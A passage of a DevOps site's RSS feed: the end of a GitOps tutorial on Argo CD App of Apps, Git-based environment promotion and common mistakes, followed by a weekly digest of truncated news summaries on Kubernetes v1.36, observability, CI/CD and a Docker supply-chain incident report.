            </svg>
          </button>
        </h2><p>Once you pass a handful of services, you do not want to write thirty <code>Application</code> YAMLs by hand. Use the <strong>App of Apps</strong> pattern: one parent <code>Application</code> that points to a folder full of child <code>Application</code> manifests.</p>
<pre><code class="hljs language-text">my-platform-config/
  apps/
    dev/
      my-app.yaml
      my-other-app.yaml
    staging/
      my-app.yaml
    prod/
      my-app.yaml
</code></pre><p>The parent for the dev environment:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">argoproj.io/v1alpha1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Application</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">dev-apps</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">argocd</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">project:</span> <span class="hljs-string">default</span>
  <span class="hljs-attr">source:</span>
    <span class="hljs-attr">repoURL:</span> <span class="hljs-string">https://github.com/acme/my-platform-config.git</span>
    <span class="hljs-attr">targetRevision:</span> <span class="hljs-string">main</span>
    <span class="hljs-attr">path:</span> <span class="hljs-string">apps/dev</span>
  <span class="hljs-attr">destination:</span>
    <span class="hljs-attr">server:</span> <span class="hljs-string">https://kubernetes.default.svc</span>
    <span class="hljs-attr">namespace:</span> <span class="hljs-string">argocd</span>
  <span class="hljs-attr">syncPolicy:</span>
    <span class="hljs-attr">automated:</span>
      <span class="hljs-attr">prune:</span> <span class="hljs-literal">true</span>
      <span class="hljs-attr">selfHeal:</span> <span class="hljs-literal">true</span>
</code></pre><p>Adding a new service to dev is now one PR that drops a single YAML file into <code>apps/dev/</code>. No clicking around in the UI, no <code>argocd app create</code> commands.</p>
<p>For larger setups, look at <code>ApplicationSet</code>, which generates <code>Application</code> resources from a list, a Git directory, or a cluster generator. It is the right tool when you have ten environments times five clusters, not three environments times one cluster.</p>
<h2 id="h2-promoting-between-environments" class="group relative scroll-mt-24">
        <a href="#h2-promoting-between-environments" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Promoting between environments
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-promoting-between-environments"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The whole point of GitOps is that promotion is a commit. Here is the flow that works:</p>
<ol>
<li>CI builds image <code>ghcr.io/acme/my-app:v1.42.0</code> and pushes it.</li>
<li>CI opens a PR in <code>my-app-config</code> that updates <code>envs/dev/kustomization.yaml</code> to set <code>newTag: v1.42.0</code>.</li>
<li>PR auto-merges if checks pass. Argo CD syncs dev within a minute or two.</li>
<li>After dev runs the new tag for some agreed time, a human (or an automated job) opens a PR that bumps <code>envs/staging/kustomization.yaml</code> to the same tag.</li>
<li>Same again for <code>envs/prod</code>, this time gated on a manual review.</li>
</ol>
<p>A typical CI step that opens the dev PR:</p>
<pre><code class="hljs language-yaml"><span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Bump</span> <span class="hljs-string">dev</span> <span class="hljs-string">image</span> <span class="hljs-string">tag</span>
  <span class="hljs-attr">run:</span> <span class="hljs-string">|
    git clone https://x-access-token:${{ secrets.GH_PAT }}@github.com/acme/my-app-config.git
    cd my-app-config
    yq -i &#x27;(.images[] | select(.name==&quot;ghcr.io/acme/my-app&quot;)).newTag = &quot;${{ github.sha }}&quot;&#x27; envs/dev/kustomization.yaml
    git checkout -b bump-dev-${{ github.sha }}
    git commit -am &quot;dev: bump my-app to ${{ github.sha }}&quot;
    git push origin bump-dev-${{ github.sha }}
    gh pr create --fill --base main</span>
</code></pre><p>Use <code>argocd-image-updater</code> if you do not want to wire this in CI yourself. It watches the registry and writes the tag bump back to Git. The end result is the same: tags change in Git, never in the cluster.</p>
<h2 id="h2-common-mistakes-that-break-things-in-production" class="group relative scroll-mt-24">
        <a href="#h2-common-mistakes-that-break-things-in-production" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Common mistakes that break things in production
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-common-mistakes-that-break-things-in-production"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Sharing a single values file across environments.</strong> A <code>values.yaml</code> that uses <code>if eq .Values.env &quot;prod&quot;</code> blocks is a footgun. Separate files, separate paths.</p>
<p><strong>Letting Argo CD watch one path for all environments.</strong> If <code>envs/</code> is a single Argo CD <code>Application</code>, a typo in dev rolls into prod the moment you merge. One <code>Application</code> per environment, always.</p>
<p><strong>Auto-sync without <code>selfHeal: false</code> on prod.</strong> During an incident you sometimes need to <code>kubectl edit</code> a deployment to test a fix. With <code>selfHeal: true</code>, Argo CD will revert it within seconds. Either disable self-heal on prod or accept that hotfixes go through Git only.</p>
<p><strong>Storing secrets in the config repo as plain YAML.</strong> Use <code>sealed-secrets</code>, <code>external-secrets</code>, or <code>sops</code> with <code>helm-secrets</code>. Plain secrets in Git are a one-way trip you cannot undo.</p>
<p><strong>Using <code>targetRevision: HEAD</code> everywhere.</strong> Pin prod to a tag or a commit SHA when you want stricter promotion gates. <code>HEAD</code> is fine for dev.</p>
<h2 id="h2-concrete-next-steps" class="group relative scroll-mt-24">
        <a href="#h2-concrete-next-steps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Concrete next steps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-concrete-next-steps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li>Pick one service and split it into <code>&lt;service&gt;</code> and <code>&lt;service&gt;-config</code> repos this week. Do not boil the ocean.</li>
<li>Create the <code>base/</code> and <code>envs/{dev,staging,prod}/</code> layout in the config repo. Run <code>kubectl kustomize envs/dev</code> locally and confirm the output looks right.</li>
<li>Write three <code>Application</code> manifests, one per environment, and apply them to the <code>argocd</code> namespace with <code>kubectl apply -f</code>.</li>
<li>Wire up your CI to open a PR against <code>envs/dev/kustomization.yaml</code> on every successful build. Leave staging and prod as manual PRs for the first two weeks.</li>
<li>Once you have two or three services on this pattern, introduce App of Apps so onboarding the next service is one YAML file, not ten.</li>
</ol>
<p>The structure you pick on day one is what your team will fight against on day three hundred. Spend the afternoon getting the folders right and the rest of GitOps becomes boring, which is exactly what you want.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 18, 2026]]></title>
      <link>https://devops.anhp.site/news/2026-week-18</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 27 Apr 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/news/2026-week-18</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by be4n</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-kubernetes-v136-fine-grained-kubelet-api-authorization-graduates-to-ga" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-fine-grained-kubelet-api-authorization-graduates-to-ga" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: Fine-Grained Kubelet API Authorization Graduates to GA
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-fine-grained-kubelet-api-authorization-graduates-to-ga"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>On behalf of Kubernetes SIG Auth and SIG Node, we are pleased to announce the graduation of fine-grained kubelet API authorization to General Availability (GA) in Kubernetes v1.36! The KubeletFineGrai</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/04/24/kubernetes-v1-36-fine-grained-kubelet-authorization-ga/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-customer-stories-and-continued-momentum-openshift-virtualization-sessions-at-red-hat-summit-2026" class="group relative scroll-mt-24">
        <a href="#h3-customer-stories-and-continued-momentum-openshift-virtualization-sessions-at-red-hat-summit-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Customer stories and continued momentum: OpenShift Virtualization sessions at Red Hat Summit 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-customer-stories-and-continued-momentum-openshift-virtualization-sessions-at-red-hat-summit-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Disruption in the virtualization market has not slowed down. The fallout from industry licensing and packaging changes continues to push organizations into decisions they were not planning to make thi</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/openshift-virtualization-sessions-red-hat-summit-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-user-namespaces-in-kubernetes-are-finally-ga" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-user-namespaces-in-kubernetes-are-finally-ga" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: User Namespaces in Kubernetes are finally GA
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-user-namespaces-in-kubernetes-are-finally-ga"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>After several years of development, User Namespaces support in Kubernetes reached General Availability (GA) with the v1.36 release. This is a Linux-only feature. For those of us working on low level c</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/04/23/kubernetes-v1-36-userns-ga/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-selinux-volume-label-changes-goes-ga-and-likely-implications-in-v137" class="group relative scroll-mt-24">
        <a href="#h3-selinux-volume-label-changes-goes-ga-and-likely-implications-in-v137" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 SELinux Volume Label Changes goes GA (and likely implications in v1.37)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-selinux-volume-label-changes-goes-ga-and-likely-implications-in-v137"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you run Kubernetes on Linux with SELinux in enforcing mode, plan ahead: a future release (anticipated to be v1.37) is expected to turn the SELinuxMount feature gate on by default. This makes volume</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/04/22/breaking-changes-in-selinux-volume-labeling/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-haru" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-haru" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: ハル (Haru)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-haru"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Editors: Chad M. Crowell, Kirti Goyal, Sophia Ugochukwu, Swathi Rao, Utkarsh Umre Similar to previous releases, the release of Kubernetes v1.36 introduces new stable, beta, and alpha features. The con</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/04/22/kubernetes-v1-36-release/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-auto-diagnosing-kubernetes-alerts-with-holmesgpt-and-cncf-tools" class="group relative scroll-mt-24">
        <a href="#h3-auto-diagnosing-kubernetes-alerts-with-holmesgpt-and-cncf-tools" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Auto-diagnosing Kubernetes alerts with HolmesGPT and CNCF tools
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-auto-diagnosing-kubernetes-alerts-with-holmesgpt-and-cncf-tools"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>What a two-person SRE team learned building an AI investigation pipeline. Spoiler: the runbooks mattered more than the model. Why we built this At STCLab, our SRE team supports multiple Amazon EKS clu</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/21/auto-diagnosing-kubernetes-alerts-with-holmesgpt-and-cncf-tools/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-skyscanner-scales-opentelemetry-managing-collectors-across-24-production-clusters" class="group relative scroll-mt-24">
        <a href="#h3-how-skyscanner-scales-opentelemetry-managing-collectors-across-24-production-clusters" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Skyscanner scales OpenTelemetry: managing collectors across 24 production clusters
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-skyscanner-scales-opentelemetry-managing-collectors-across-24-production-clusters"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Developer Experience SIG is publishing a series of blog posts featuring real-world OpenTelemetry deployments from companies across different industries and scales. This post features Skyscanner, a</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/devex-skyscanner/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-trivy-kics-and-the-shape-of-supply-chain-attacks-so-far-in-2026" class="group relative scroll-mt-24">
        <a href="#h3-trivy-kics-and-the-shape-of-supply-chain-attacks-so-far-in-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Trivy, KICS, and the shape of supply chain attacks so far in 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-trivy-kics-and-the-shape-of-supply-chain-attacks-so-far-in-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Catching the KICS push: what happened, and the case for open, fast collaboration In the past few weeks we&#39;ve worked through two supply chain compromises on Docker Hub with a similar shape: first Trivy</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/trivy-kics-and-the-shape-of-supply-chain-attacks-so-far-in-2026/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitops-with-ibm-kubecost-api-driven-rightsizing" class="group relative scroll-mt-24">
        <a href="#h3-gitops-with-ibm-kubecost-api-driven-rightsizing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitOps with IBM Kubecost: API Driven Rightsizing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitops-with-ibm-kubecost-api-driven-rightsizing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Introduction When using IBM Kubecost, the UI clearly shows valuable insights on running workloads more efficiently through Container Request Right-Sizing Recommendations. Inevitably, someone asks: “We</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Kubecost Blog</strong></p>
<p><a href="https://www.apptio.com/blog/gitops-with-ibm-kubecost-api-driven-rightsizing/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-zabbix-and-the-docker-api-part-1-inspect" class="group relative scroll-mt-24">
        <a href="#h3-zabbix-and-the-docker-api-part-1-inspect" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Zabbix and the Docker API, Part 1: Inspect
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-zabbix-and-the-docker-api-part-1-inspect"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this blog post, I will show you how to configure Zabbix to securely gather Docker API metrics using the Zabbix HTTP agent item with certificate authentication. This guide will cover configuring the</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 Zabbix Blog</strong></p>
<p><a href="https://blog.zabbix.com/zabbix-and-the-docker-api-part-1-inspect/32860/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-observability-in-grafana-cloud-a-complete-solution-for-monitoring-your-agentic-workloads" class="group relative scroll-mt-24">
        <a href="#h3-ai-observability-in-grafana-cloud-a-complete-solution-for-monitoring-your-agentic-workloads" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI Observability in Grafana Cloud: A complete solution for monitoring your agentic workloads
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-observability-in-grafana-cloud-a-complete-solution-for-monitoring-your-agentic-workloads"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The observability industry has developed great tools for using metrics, logs, traces, and profiles to monitor the cloud native applications that have dominated the last decade of software development.</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/ai-observability-for-agents-in-grafana-cloud/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-curl-removed-from-omnibus-gitlab-fips-packages-in-190" class="group relative scroll-mt-24">
        <a href="#h3-curl-removed-from-omnibus-gitlab-fips-packages-in-190" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 curl removed from Omnibus-GitLab FIPS packages in 19.0
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-curl-removed-from-omnibus-gitlab-fips-packages-in-190"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Starting with Omnibus-GitLab 19.0 (and the subsequent patch release to existing supported versions), FIPS packages will no longer include a GitLab-built version of curl. Instead, they will use the cur</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/curl-removed-from-omnibus-gitlab-fips-packages-in-19-0/"><strong>🔗 Read more</strong></a></p>
